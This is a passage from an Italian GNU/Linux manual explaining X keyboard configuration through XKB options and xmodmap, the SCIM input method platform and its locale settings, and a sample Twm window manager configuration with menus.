L'opzione '**`XkbTypes`**', che si riferisce alla gestione dei tasti modificatori, contiene il valore '**`default`**', che corrisponde alla selezione del file '`xkb/types/default`', utilizzando la sezione predefinita con lo stesso nome. Il contenuto del file potrebbe essere questo:

```
default xkb_types "default" {
    include "basic"
    include "pc"
    include "iso9995"
    include "extra"
    include "mousekeys"
};
```

In pratica, viene dichiarato l'uso di altri file della stessa directory secondo la sequenza che si può vedere. La stessa cosa, si può esprimere nel file di configurazione di X ('/etc/X11/XF86Config*', '/etc/X11/xorg.conf', ecc.), come si vede dall'esempio seguente:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "basic+pc+iso9995+extra+mousekeys"
    Option "XkbSymbols"         "en_US(pc102)+it"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic+pc+iso9995"
EndSection
```

Naturalmente si possono rendere esplicite le sezioni; osservando il contenuto dei vari file, si dovrebbe scrivere così:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "basic(basic)+pc(default)+↩
↪iso9995(default)+extra(default)+mousekeys(default)"
    Option "XkbSymbols"         "en_US(pc102)+it"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic+pc+iso9995"
EndSection
```

Dopo aver espanso le opzioni precedenti, '**XkbSymbols**' comincia a essere più intuitiva: evidentemente viene usata la sezione '**pc102**' del file 'xkb/symbols/en_US' e la sezione predefinita del file 'xkb/symbols/it'. In questo modo si fa riferimento alla mappa inglese con tutte le estensioni del caso, compreso il fatto che si usa una tastiera a 102 tasti, a cui si sovrappone la mappa italiana, che va a sostituire alcuni tasti. Dall'osservazione dei file, si determina che la sezione predefinita del file 'xkb/symbols/it' è '**basic**':

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "basic(basic)+pc(default)+↵
↪iso9995(default)+extra(default)+mousekeys(default)"
    Option "XkbSymbols"         "en_US(pc102)+it(basic)"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic+pc+iso9995"
EndSection
```

L'opzione '**XkbGeometry**' serve a dichiarare la forma che ha la tastiera. Come ormai si intende, viene indicata la sezione '**pc102**' del file 'xkb/geometry/pc'. Ovviamente è opportuno che la geometria della tastiera sia conforme a quanto dichiarato nell'opzione '**XkbSymbols**'.

L'opzione '**XkbCompat**' dichiara le «mappe di compatibilità». Come si vede si fa riferimento alle sezioni predefinite dei file 'xkb/compat/basic', 'xkb/compat/pc' e 'xkb/compat/iso9995'. Dall'osservazione dei file si determinano le sezioni predefinite:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "basic(basic)+pc(default)+↵
↪iso9995(default)+extra(default)+mousekeys(default)"
    Option "XkbSymbols"         "en_US(pc102)+it(basic)"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic(basic)+pc(basic)+iso9995(default)"
EndSection
```

Questa modalità di configurazione diventa utile quando si vuole fare qualcosa di diverso da ciò che sarebbe predefinito. Per questo, l'opzione più interessante per gli interventi manuali è '**XkbSymbols**'. Per esempio, per attribuire una «variante» alla mappa della tastiera prescelta, occorre trovare presumibilmente una sezione appropriata nel file, che in questo caso è 'xkb/symbols/it'; così, volendo disabilitare i tasti morti, occorre specificare la sezione '**nodeadkeys**':

```
    …
    Option "XkbSymbols"         "en_US(pc102)+it(nodeadkeys)"
    …
```

Con lo stesso criterio, per cambiare la geometria della tastiera, occorre intervenire tra le opzioni di 'xkb/symbols/en_US' e di 'xkb/geometry/pc'; in questo caso si passa a una tastiera a 105 tasti:

```
    …
    Option "XkbSymbols"        "en_US(pc105)+it(basic)"
    Option "XkbGeometry"       "pc(pc105)"
    …
```

31.8.3.1 Sintesi della configurazione

Una volta definita in qualche modo la configurazione per la tastiera, si può ottenere una sintesi di tutto ciò che viene coinvolto con l'aiuto del programma '**xkbcomp**',[16] usando l'opzione '**-xkb**':

$ **xkbcomp -xkb :0** [*Invio*]

In questo modo si richiede di analizzare la configurazione relativa alla tastiera associata allo schermo nelle coordinate '**:0**' (ovvero '**:0.0**'). Ciò che si ottiene in questo caso è il file 'server-0.xkb', la cui consultazione può essere molto utile per comprendere meglio la configurazione della propria tastiera.

31.8.3.2 Aggiungere nuovi file di configurazione

A parte ogni considerazione sulla difficoltà che comporta la modifica e l'aggiunta di altri file nella struttura che si articola a partire dalla directory 'xkb/', occorre considerare che i file in questione (e le sezioni in essi contenute) sono riepilogati all'interno di indici; uno per ogni sottodirectory. Per esempio, il file 'xkb/symbols.dir' si riferisce al contenuto della directory 'xkb/symbols/'. Ecco un estratto di questo file:

```
-dp----- a------- it(basic)
--p----- a------- it(Sundeadkeys)
--p----- a------- it(sundeadkeys)
--p----- a------- it(nodeadkeys)
```

L'elenco è composto da tre parti: una prima serie di indicatori, una seconda serie e alla fine il file e la sezione a cui si riferiscono. Questi indicatori possono essere teoricamente quelli seguenti:

hdp----- amkfg--- ***nome*** (***sezione***)

Questi indicatori servono a classificare la sezione che appare a fianco, secondo la logica della tabella seguente:

Lettera	Significato mnemonico	Descrizione
h	*hidden*	Sezione nascosta da utilizzare soltanto all'interno di altre.
d	*default*	Sezione predefinita.
p	*partial*	Sezione parziale.
a	*alphanumeric*	Funzione riferita alla parte della tastiera che serve a ottenere simboli alfanumerici e non.

Lettera	Significato mnemonico	Descrizione
`m`	*modifier*	Funzione riferita all'uso dei tasti modificatori.
`k`	*keypad*	Funzione riferita alla gestione della tastiera numerica.
`f`	*function*	Funzione riferita alla gestione di tasti con funzioni speciali.
`g`	*group*	Funzione riferita alla gestione di gruppi alternativi.

31.8.4 Configurazione con «xmodmap»

Nella necessità di modificare o di costruire una mappa personalizzata della tastiera, piuttosto di addentrarsi nei meandri del contenuto delle varie sottodirectory che si articolano a partire da '`xkb/`', può essere più conveniente l'uso del programma '**`xmodmap`**'.[17] Per poter usare questo programma è necessario conoscere il codice numerico dei tasti. Per acquisire questa informazione si può utilizzare il programma '**`xkbprint`**', che si avvale delle informazioni contenute nella directory '`xkb/geometry/`', ma in presenza di una tastiera differente dal previsto, occorre usare il programma '**`xev`**'.[18]

Il programma '**`xev`**' si avvia da una finestra di terminale e si traduce in un riquadro con sfondo bianco, contenente un piccolo rettangolo. Quando la sua finestra è in primo piano o comunque quando è attiva, le azioni che si compiono con la tastiera o con il mouse, vengono descritte nella finestra di terminale da cui il programma è stato avviato. La figura successiva dà un'idea di questo comportamento.

Figura 31.117. Il programma '**xev**' in funzione.

```
Event Tester
```

```
x-terminal-emulator
    root 0x36, subw 0x0, time 1442350, (95,72), root:(215,142),
    state 0x0, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""

KeyRelease event, serial 29, synthetic NO, window 0xc00001,
    root 0x36, subw 0x0, time 1442423, (95,72), root:(215,142),
    state 0x4, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""

KeyPress event, serial 29, synthetic NO, window 0xc00001,
    root 0x36, subw 0x0, time 1442523, (95,72), root:(215,142),
    state 0x0, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""

KeyRelease event, serial 29, synthetic NO, window 0xc00001,
    root 0x36, subw 0x0, time 1442590, (95,72), root:(215,142),
    state 0x4, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""
```

Per esempio, premendo il tasto [*Ctrl*] sinistro di una tastiera comune si dovrebbe ottenere un risultato simile a quello seguente:

```
KeyPress event, serial 29, synthetic NO, window 0x1000001,
    root 0x36, subw 0x0, time 2064092, (336,380), root:(339,399),
    state 0x0, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""

KeyRelease event, serial 29, synthetic NO, window 0x1000001,
    root 0x36, subw 0x0, time 2064203, (336,380), root:(339,399),
    state 0x4, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:  ""
```

Da questo esempio si comprende che il codice del tasto [*Ctrl*] sinistro è il numero 37.

Con queste informazioni si può usare il programma '**xmodmap**' per sostituire la funzione di qualche tasto, oppure per ridefinire completamente la tastiera.

31.8.4.1 Utilizzo di «xmodmap»

Il programma '**`xmodmap`**' si avvale normalmente di un file di configurazione, che, se non lo si specifica espressamente, corrisponde a '`.xmodmap`' contenuto nella directory personale dell'utente. Per questa ragione il programma può fare a meno di argomenti nella riga di comando:

```
xmodmap [opzioni] [file_di_configurazione]
```

Tabella 31.119. Alcune opzioni.

Opzione	Descrizione
`-display` ***schermo***	Permette di specificare a quale servente grafico fare riferimento.
`-grammar`	Genera un promemoria della sintassi da usare per la configurazione.
`-n`	Simula l'operazione, senza eseguirla veramente.
`-e` ***espressione***	Esegue l'espressione fornita, che in pratica è l'equivalente di una direttiva di configurazione. Si può usare questa opzione più volte.
`-pm`	*print modifier* Emette la configurazione attuale dei modificatori.
`-pk`	*print keymap* Emette la configurazione attuale della mappa della tastiera.
`-pke`	*print keymap expression* Emette la configurazione attuale della mappa della tastiera, usando un formato compatibile con quello necessario per la configurazione.
`-pp`	*print pointermap* Emette la configurazione attuale del puntatore grafico.

Segue la descrizione di alcuni esempi di interrogazione sullo stato attuale della configurazione, quando il servente grafico è stato avviato avendo il file di configurazione di X ('`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.) con la sezione '**`InputDevice`**' organizzata così:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "basic(basic)+pc(default)+↩
↪iso9995(default)+extra(default)+mousekeys(default)"
    Option "XkbSymbols"         "en_US(pc102)+it(basic)"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic(basic)+pc(basic)+iso9995(default)"
EndSection
```

- $ **xmodmap -grammar** [*Invio*]

```
xmodmap accepts the following input expressions:

    pointer = default              reset pointer buttons to default
    pointer = NUMBER ...           set pointer button codes
    keycode NUMBER = [KEYSYM ...]  map keycode to given keysyms
    keysym KEYSYM = [KEYSYM ...]   look up keysym and do a keycode operation
    clear MODIFIER                 remove all keys for this modifier
    add MODIFIER = KEYSYM ...      add the keysyms to the modifier
    remove MODIFIER = KEYSYM ...   remove the keysyms from the modifier

where NUMBER is a decimal, octal, or hex constant; KEYSYM is a valid
Key Symbol name; and MODIFIER is one of the eight modifier names:  Shift,
Lock, Control, Mod1, Mod2, Mod3, Mod4, or Mod5.  Lines beginning with
an exclamation mark (!) are taken as comments.  Case is significant except
for MODIFIER names.

Keysyms on the left hand side of the = sign are looked up before any changes
are made; keysyms on the right are looked up after all of those on the left
have been resolved.  This makes it possible to swap modifier keys.
```

- $ **xmodmap -pm** [*Invio*]

```
xmodmap:  up to 2 keys per modifier, (keycodes in parentheses):

shift       Shift_L (0x32),  Shift_R (0x3e)
lock        Caps_Lock (0x42)
control     Control_L (0x25),  Control_R (0x6d)
mod1        Alt_L (0x40)
mod2        Num_Lock (0x4d)
mod3        Mode_switch (0x71)
mod4        Super_L (0x73)
mod5        Scroll_Lock (0x4e)
```

- $ **xmodmap -pk** [*Invio*]

```
There are 4 KeySyms per KeyCode; KeyCodes range from 8 to 255.
…
  8
  9  0xff1b (Escape)
 10  0x0031 (1)      0x0021 (exclam)     0x00b9 (onesuperior)    0x00a1 (exclamdown)
 11  0x0032 (2)      0x0022 (quotedbl)   0x00b2 (twosuperior)    0xfe59 (dead_doubleacute)
 12  0x0033 (3)      0x00a3 (sterling)   0x00b3 (threesuperior)  0xfe53 (dead_tilde)
…
115  0xffeb (Super_L)
116  0xff20 (Multi_key)
117  0xff67 (Menu)
118
119
…
254
255
```

- $ **xmodmap -pke** [*Invio*]

```
keycode   8 =
keycode   9 = Escape
keycode  10 = 1 exclam onesuperior exclamdown
keycode  11 = 2 quotedbl twosuperior dead_doubleacute
keycode  12 = 3 sterling threesuperior dead_tilde
…
keycode 115 = Super_L
keycode 116 = Multi_key
keycode 117 = Menu
keycode 118 =
keycode 119 =
…
keycode 254 =
keycode 255 =
```

- $ **xmodmap -pp** [*Invio*]

```
There are 3 pointer buttons defined.

    Physical        Button
     Button          Code
        1              1
        2              2
        3              3
```

31.8.4.2 Configurazione della tastiera numerica

In presenza di una tastiera comune, con la quale si intende sfruttare il blocco dei tasti numerici esclusivamente per questo, eliminando del tutto la possibilità di usare quei tasti anche per il movimento del cursore e altro, si possono ridefinire le funzioni associate ai tasti, senza distinzione tra i livelli. Per cominciare occorre ottenere la configurazione attuale:

$ **xmodmap -pke** [*Invio*]

```
…
keycode  79 = KP_Home KP_7
keycode  80 = KP_Up KP_8
keycode  81 = KP_Prior KP_9
…
keycode  83 = KP_Left KP_4
keycode  84 = KP_Begin KP_5
keycode  85 = KP_Right KP_6
…
keycode  87 = KP_End KP_1
keycode  88 = KP_Down KP_2
keycode  89 = KP_Next KP_3
```

```
keycode  90 = KP_Insert KP_0
keycode  91 = KP_Delete KP_Decimal
…
```

Con questi dati si può costruire un file di configurazione contenente le righe seguenti:

```
keycode  79 = KP_7
keycode  80 = KP_8
keycode  81 = KP_9
keycode  83 = KP_4
keycode  84 = KP_5
keycode  85 = KP_6
keycode  87 = KP_1
keycode  88 = KP_2
keycode  89 = KP_3
keycode  90 = KP_0
keycode  91 = KP_Decimal
```

Queste righe possono essere inserite all'interno del file '`~/.xmodmap`', oppure in un altro file da indicare espressamente nella riga di comando di '**`xmodmap`**'. In alternativa si può usare anche l'opzione '**`-e`**', in questo modo:

$ **`xmodmap -e "keycode 79 = KP_7"`** [*Invio*]

$ **`xmodmap -e "keycode 80 = KP_8"`** [*Invio*]

$ **`xmodmap -e "keycode 81 = KP_9"`** [*Invio*]

$ **`xmodmap -e "keycode 83 = KP_4"`** [*Invio*]

$ **`xmodmap -e "keycode 84 = KP_5"`** [*Invio*]

$ **`xmodmap -e "keycode 85 = KP_6"`** [*Invio*]

$ **`xmodmap -e "keycode 87 = KP_1"`** [*Invio*]

$ **`xmodmap -e "keycode 88 = KP_2"`** [*Invio*]

$ **`xmodmap -e "keycode 89 = KP_3"`** [*Invio*]

$ **`xmodmap -e "keycode 90 = KP_0"`** [*Invio*]

$ **`xmodmap -e "keycode 91 = KP_Decimal"`** [*Invio*]

31.8.4.3 Configurazione dei tasti del mouse

Normalmente i tasti del mouse sono configurati in modo da avere il primo tasto, ovvero quello premuto più spesso, sotto al dito indice della mano destra. Una persona che volesse usare il mouse con la mano sinistra dovrebbe ridefinire la sequenza dei tasti con una configurazione per '**xmodmap**' pari all'esempio seguente:

```
pointer = 3 2 1
```

Usando l'opzione '**-e**' basta il comando seguente:

$ **xmodmap -e "pointer = 3 2 1"** [*Invio*]

Si può verificare l'inversione con l'opzione '**-pp**':

$ **xmodmap -pp** [*Invio*]

```
There are 3 pointer buttons defined.

    Physical        Button
     Button          Code
        1              3
        2              2
        3              1
```

31.8.4.4 Riconfigurazione della mappa della tastiera

La riconfigurazione della mappa della tastiera può essere eseguita facilmente se si dispone già di una mappa abbastanza simile a quella che si vuole ottenere. Per prima cosa occorre osservare l'associazione dei tasti modificatori:

$ **xmodmap -pm** [*Invio*]

```
xmodmap:  up to 2 keys per modifier, (keycodes in parentheses):

shift        Shift_L (0x32),  Shift_R (0x3e)
lock         Caps_Lock (0x42)
control      Control_L (0x25),  Control_R (0x6d)
mod1         Alt_L (0x40)
mod2         Num_Lock (0x4d)
mod3         Mode_switch (0x71)
mod4         Super_L (0x73)
mod5         Scroll_Lock (0x4e)
```

Per riprodurre la stessa cosa attraverso direttive di configurazione di '**xmodmap**', occorrono le righe seguenti:

```
clear shift
clear lock
clear control
```

```
clear mod1
clear mod2
clear mod3
clear mod4
clear mod5
add shift = Shift_L Shift_R
add lock = Caps_Lock
add control = Control_L Control_R
add mod1 = Alt_L
add mod2 = Num_Lock
add mod3 = Mode_switch
add mod5 = Scroll_Lock
```

Successivamente, si può riprodurre la mappa attuale, direttamente in forma di direttive di configurazione per '**xmodmap**', con l'opzione '**-pke**':

$ **xmodmap -pke** [*Invio*]

```
keycode   8 =
keycode   9 = Escape
keycode  10 = 1 exclam onesuperior exclamdown
keycode  11 = 2 quotedbl twosuperior dead_doubleacute
…
keycode 115 = Super_L
keycode 116 = Multi_key
keycode 117 = Menu
keycode 118 =
keycode 119 =
…
keycode 254 =
keycode 255 =
```

Per ottenere quasi la stessa cosa, basta assemblare le due parti in un file da dare in pasto a '**xmodmap**':

```
clear shift
clear lock
clear control
clear mod1
clear mod2
clear mod3
clear mod4
clear mod5
add shift = Shift_L Shift_R
add lock = Caps_Lock
add control = Control_L Control_R
add mod1 = Alt_L
add mod2 = Num_Lock
```

```
add mod3 = Mode_switch
add mod5 = Scroll_Lock
keycode   8 =
keycode   9 = Escape
keycode  10 = 1 exclam onesuperior exclamdown
keycode  11 = 2 quotedbl twosuperior dead_doubleacute
…
keycode 115 = Super_L
keycode 116 = Multi_key
keycode 117 = Menu
keycode 118 =
keycode 119 =
…
keycode 254 =
keycode 255 =
```

Naturalmente, una volta verificato che tutto funziona (quasi) come prima, si può fare qualche modifica. Dovrebbe essere evidente che ogni direttiva '**`keycode`**' ha alla destra del segno '**`=`**' la sequenza dei quattro livelli per il tasto corrispondente.

È importante osservare che l'associazione dei modificatori non è uniforme tra le definizioni delle tastiere dei vari paesi. Per esempio, non è detto che la funzione per il passaggio al terzo livello sia associata al modificatore virtuale '**`Mode_switch`**', come invece avviene in questo caso; inoltre non è detto che sia associata al modificatore reale '**`Mod3`**'. Purtroppo, l'associazione dei modificatori non può essere cambiata, se non seguendo attentamente le caratteristiche della configurazione contenuta a partire da '`xkb/`'.

Se si dispone di una tastiera che, pur risultando compatibile dal punto di vista elettronico, mostra di avere un'associazione differente dei codici numerici, occorre usare il programma '**`xev`**' per scoprire l'abbinamento corretto, quindi si può cercare di adattare una mappa già esistente, secondo la modalità già mostrata. Naturalmente ciò richiede un lavoro più lungo, tenendo conto che la prima cosa da associare correttamente sono proprio i modificatori che si vogliono usare. Tornando all'esempio già mostrato, i vari tasti [*Maiuscole*], [*Fissamaiuscole*], [*Ctrl*], [*Alt*],... sono associati così:

```
keycode  50 = Shift_L
keycode  62 = Shift_R
keycode  66 = Caps_Lock
keycode  37 = Control_L
keycode 109 = Control_R
keycode  64 = Alt_L Meta_L
keycode  77 = Num_Lock Pointer_EnableKeys
keycode 113 = Mode_switch
keycode  78 = Scroll_Lock
```

31.9 Metodi di inserimento intelligente con SCIM

La tastiera per elaboratore nasce come evoluzione di quella della macchina da scrivere, secondo una logica «occidentale», dove i caratteri tipografici sono in un numero molto limitato. Per scrivere i caratteri di lingue che ne annoverano una quantità maggiore, occorre un sistema alternativo di inserimento, che di solito si basa su una forma di traslitterazione a partire dall'alfabeto latino; per esempio, nel caso della lingua cinese, di solito si attribuiscono dei nomi ai caratteri.

Con X, per realizzare l'obiettivo della scrittura con caratteri di lingue orientali che utilizzano molti simboli, si usa normalmente un programma che viene attivato dalle applicazioni che richiedono l'inserimento, attraverso una combinazione di tasti che viene interpretata dalle applicazioni stesse. In pratica, se la configurazione locale è attinente, le applicazioni tendono a dare un significato particolare a certe combinazioni di tasti, con le quali attivano o disattivano il programma di inserimento guidato dei caratteri di una certa lingua.

31.9.1 SCIM

SCIM,[19] ovvero *Smart common input method*, viene definita una «piattaforma» per diversi metodi di inserimento intelligente. SCIM è principalmente un servente che viene interpellato dai programmi grafici quando richiesto attraverso la combinazione di tasti [*Ctrl Spazio*]. Questo servente, che costituisce la piattaforma SCIM, si avvale di moduli specifici per ogni metodo di inserimento. Questi moduli si chiamano genericamente IMEngine (*Input method engine*) e a seconda della presenza di questo o di quel modulo, SCIM è in grado di offrire il metodo di inserimento intelligente relativo.

Di solito, la piattaforma SCIM viene avviata come demone a uso di un utente singolo (se più utenti accedono allo stesso elaboratore, ognuno avvia la sua copia del demone):

scim [*opzioni*]

In condizioni normali, si usa solo l'opzione '**-d**', con la quale si ottiene proprio il funzionamento del programma '**scim**' in qualità di demone, sullo sfondo:

$ **scim -d** [*Invio*]

```
Launching a SCIM daemon with Socket FrontEnd...
Loading simple Config module ...
Creating backend ...
Loading socket FrontEnd module ...
Starting SCIM as daemon ...
Launching a SCIM process with x11...
Loading socket Config module ...
Creating backend ...
Loading x11 FrontEnd module ...
GTK Panel of SCIM 1.4.4
SCIM has been successfully launched.
Smart Common Input Method 1.4.4
```

Come si può intuire dall'esempio, il demone '**scim**' va avviato nell'ambito del sistema grafico X, eventualmente da una finestra di terminale, se non è possibile fare di meglio. Tuttavia, occorre predisporre prima delle variabili di ambiente:

```
XMODIFIERS='@im=SCIM'
GTK_IM_MODULE="scim"
QT_IM_MODULE="scim"
export XMODIFIERS
export GTK_IM_MODULE
export QT_IM_MODULE
#
scim -d
```

31.9.2 Attivazione del metodo di inserimento intelligente

Una volta definite le variabili di ambiente e il demone '**scim**' come descritto nella sezione precedente, alcuni programmi associano senza altre preoccupazioni la combinazione di tasti [*Ctrl Spazio*] all'emersione di un programma frontale con il quale si può dichiarare il tipo di metodo di inserimento preferito (in base ai moduli disponibili).

Figura 31.137. Il pannellino di selezione per il metodo di inserimento intelligente.

Figura 31.138. Il menù di selezione del metodo di inserimento intelligente.

31.9.3 La configurazione locale

Alcuni programmi, alla pressione della combinazione [*Ctrl Spazio*] attivano sempre il pannellino di controllo di SCIM, ammesso che il demone '**scim**' sia disponibile; altri programmi lo fanno solo se la configurazione locale è appropriata, secondo il loro punto di vista.

Per esempio, OpenOffice.org è uno di quei programmi che necessitano di una configurazione locale «orientale». Esempi di tali configurazioni sono '**zh_CN.UTF-8**' e '**ja_JP.UTF-8**'; naturalmente si richiede l'uso dell'insieme di caratteri universale, attraverso la codifica UTF-8.

Come è noto, per impostare il linguaggio è sufficiente assegnare un valore alla variabile di ambiente ***LANG***, per farlo ereditare in modo predefinito a tutte le altre variabili ***LC_****. Tuttavia, se lo si preferisce, al fine di attivare le funzioni di SCIM, è sufficiente che la variabile di ambiente ***LC_CTYPE*** sia impostata in questo modo. Si vede l'esempio della configurazione cinese comune, in entrambi i casi (nel secondo caso la configurazione locale predefinita è quella della lingua italiana, con l'eccezione della variabile ***LC_CTYPE***):

```
LANG=zh_CN.UTF-8
```

```
LANG=it_IT.UTF-8
LC_CTYPE=zh_CN.UTF-8
```

L'utilizzo della variabile di ambiente ***LC_CTYPE***, con una configurazione locale differente da quella complessiva, ha però degli effetti collaterali. In particolare, supponendo di utilizzare proprio la configurazione dell'ultimo esempio mostrato (in generale lingua italiana, mentre ***LC_CTYPE*** è impostata per il cinese), si ottiene sì un ambiente che comunica in italiano, consentendo l'uso di una modalità di inserimento cinese (e probabilmente anche di altre lingue), ma l'inserimento di valori numerici potrebbe richiedere l'uso del punto per separare la parte intera da quella decimale (mentre in italiano si richiede l'uso della virgola).

31.9.4 Utilizzo

Per inserire effettivamente i caratteri desiderati, dopo avere selezionato il metodo di inserimento, occorre passare all'applicazione nella quale va inserito il testo e si procede digitando la traslitterazione dei caratteri voluti. A seconda del metodo di inserimento, si ottiene un meccanismo di completamento, eventualmente con la proposta di un certo numero di caratteri alternativi da scegliere, come si vede nella figura successiva. Per selezionare un carattere in questo modo, è sufficiente premere il numero corrispondente, oppure si può agire con il mouse, in modo abbastanza intuitivo.

Figura 31.141. Esempio di inserimento di un testo in cinese: inserendo la sequenza «mu», si ottiene un elenco di caratteri alternativi che possono corrispondere.

Si osservi che, quando si usa un programma di scrittura, è necessario che il tipo di carattere scelto contenga i simboli che si vogliono inserire. Solo i programmi più evoluti provvedono da soli a cambiare il tipo di carattere quando quello originario non li contiene.

Figura 31.142. Esempio di inserimento di un testo in cinese con una finestra di terminale.

31.10 Gestori di finestre

Il gestore di finestre, o *window manager* (WM), è quel programma cliente, che si occupa di incorniciare le superfici degli altri programmi clienti, di gestire la messa a fuoco, il passaggio da un programma all'altro e di altre funzioni di contorno. Anche se apparentemente non sembra molto, il gestore di finestre è in grado di cambiare la faccia e il funzionamento operativo del sistema X.

Alcuni gestori di finestre consentono di utilizzare una superficie maggiore di quella che si vede sullo schermo. Si parla in questi casi di gestori di finestre con superficie grafica virtuale, ovvero di *virtual window manager* (VWM). Di solito, per passare da una zona all'altra della superficie grafica virtuale si utilizza la combinazione [*Ctrl freccia...*] nella direzione in cui ci si vuole spostare, oppure si utilizza il mouse all'interno di una tabellina riassuntiva di tutta la superficie grafica virtuale.

Volendo, a puro titolo didattico, si può utilizzare X senza un gestore di finestre:

$ **xinit /usr/bin/X11/xterm -geometry =50x10+10+10** [*Invio*]

Oppure:

$ **startx /usr/bin/X11/xterm -geometry =50x10+10+10** [*Invio*]

La figura 31.143 mostra il risultato di questo comando. Quando termina l'esecuzione del programma '**xterm**', '**xinit**' fa terminare il funzionamento del servente.

Figura 31.143. Il servente X avviato senza un gestore di finestre.

Qui vengono descritti brevemente solo due gestore di finestre, Twm e Fvwm, che hanno doti particolari di semplicità e di adattabilità.

31.10.1 Twm

Il gestore di finestre tradizionale e più semplice è Twm,[20] ed è l'unico che venga fornito assieme a X (anche se le distribuzioni GNU possono tenerlo distinto in un pacchetto separato). Non è particolarmente amichevole, ma utilizza poche risorse e così è adatto agli elaboratori più lenti; inoltre è facile da configurare. L'eseguibile che svolge il lavoro, corrisponde a '**twm**'.

Figura 31.144. Twm, il gestore di finestre tradizionale.

Per fare in modo che, attraverso lo script '**startx**', si avvii automaticamente il gestore di finestre Twm, occorre ricordare di modificare il proprio script '~/.xinitrc'.

Nel caso particolare di Twm che è un gestore di finestre piuttosto povero, può essere conveniente l'avvio di altri programmi prima dell'eseguibile '**twm**'. Ecco come potrebbe terminare il file '~/.xinitrc':

```
# Twm
xsetroot -solid gray
xclock -digital -geometry +0-0 &
xbiff -geometry -0-0 &
exec twm
```

In questo esempio si può osservare che viene avviato prima il programma '**xsetroot**' per definire un colore uniforme del fondale (la finestra principale), quindi vengono avviati '**xclock**' e '**xbiff**' sullo sfondo (*background*). Infine viene avviato il gestore di finestre attraverso l'eseguibile '**twm**'.[21]

La configurazione generale di Twm risiede normalmente nel file '/usr/lib/X11/twm/system.twmrc', oppure '/etc/X11/twm/system.twmrc', a seconda dell'impostazione della propria distribuzione GNU. Eventualmente, ogni utente può definire la propria configurazione personale, nel file '~/.twmrc', che in tal caso si sostituisce a quella generale.

Segue un esempio della configurazione di Twm, ridotto all'essenziale . Come appare anche dal commento introduttivo, si osservi il fatto che la configurazione di Twm non ammette la presenza di caratteri speciali, comprese le lettere accentate.

```
# .twmrc
# ATTENZIONE: twm non vuole lettere accentate nemmeno nei commenti!
#

NoGrabServer
RestartPreviousState
DecorateTransients
TitleFont "-adobe-helvetica-bold-r-normal--*-120-*-*-*-*-*-*"
ResizeFont "-adobe-helvetica-bold-r-normal--*-120-*-*-*-*-*-*"
MenuFont "-adobe-helvetica-bold-r-normal--*-120-*-*-*-*-*-*"
```

```
IconFont "-adobe-helvetica-bold-r-normal--*-100-*-*-*-*-*-*"
IconManagerFont "-adobe-helvetica-bold-r-normal--*-100-*-*-*"
#ClientBorderWidth

Color
{
    BorderColor "slategrey"
    DefaultBackground "maroon"
    DefaultForeground "gray85"
    TitleBackground "maroon"
    TitleForeground "gray85"
    MenuBackground "maroon"
    MenuForeground "gray85"
    MenuTitleBackground "gray70"
    MenuTitleForeground "maroon"
    IconBackground "maroon"
    IconForeground "gray85"
    IconBorderColor "gray85"
    IconManagerBackground "maroon"
    IconManagerForeground "gray85"
}


# Definizione di alcune funzioni utili per azioni basate sul movimento.

MoveDelta 3
Function "sposta-sotto" { f.move f.deltastop f.lower }
Function "sposta-sopra" { f.move f.deltastop f.raise }
Function "sposta-icona" { f.move f.deltastop f.iconify }


# Definisce alcuni abbinamenti con i tasti del mouse.

Button1 = : root : f.menu "opzioni-generali"
Button3 = : root : f.menu "programmi"

Button1 = : title : f.function "sposta-sopra"
Button2 = : title : f.iconify
Button3 = : title : f.function "sposta-sotto"

Button1 = : icon : f.function "sposta-icona"
Button2 = : icon : f.iconify
Button3 = : icon : f.iconify

Button1 = : iconmgr : f.function "sposta-sopra"
Button2 = : iconmgr : f.iconify
Button3 = : iconmgr : f.function "sposta-sotto"


# Inizia la definizione dei menu`

menu "opzioni-generali"
{
```

```
"Twm"                    f.title
"Riduzione a icona"      f.iconify
"Ridimensionamento"      f.resize
"Spostamento"            f.move
"Sopra"                  f.raise
"Sotto"                  f.lower
""                       f.nop
"Messa a fuoco"          f.focus
"Fuori fuoco"            f.unfocus
"Mostra Iconmanager"     f.showiconmgr
"Nasconde Iconmanager"   f.hideiconmgr
""                       f.nop
"Eliminazione"           f.destroy
"Cancellazione"          f.delete
""                       f.nop
"Riavvio"                f.restart
"Fine lavoro"            f.quit
}

menu "programmi"
{
"Menu` dei programmi"    f.title
"Terminale"              f.exec     "xterm -font 6x13 -ls -geometry 80x25+0+0 &"
"File manager"           f.exec     "xfm &"
""                       f.nop
"Applicazioni varie"     f.menu     "applicazioni"
""                       f.nop
"Riavvio"                f.restart
"Fine lavoro"            f.quit
}

menu "applicazioni"
{
"Applicazioni varie"     f.title
"medit"                  f.exec     "medit &"
""                       f.nop
"ghostview"              f.exec     "ghostview -geometry =630x420+0+0 &"
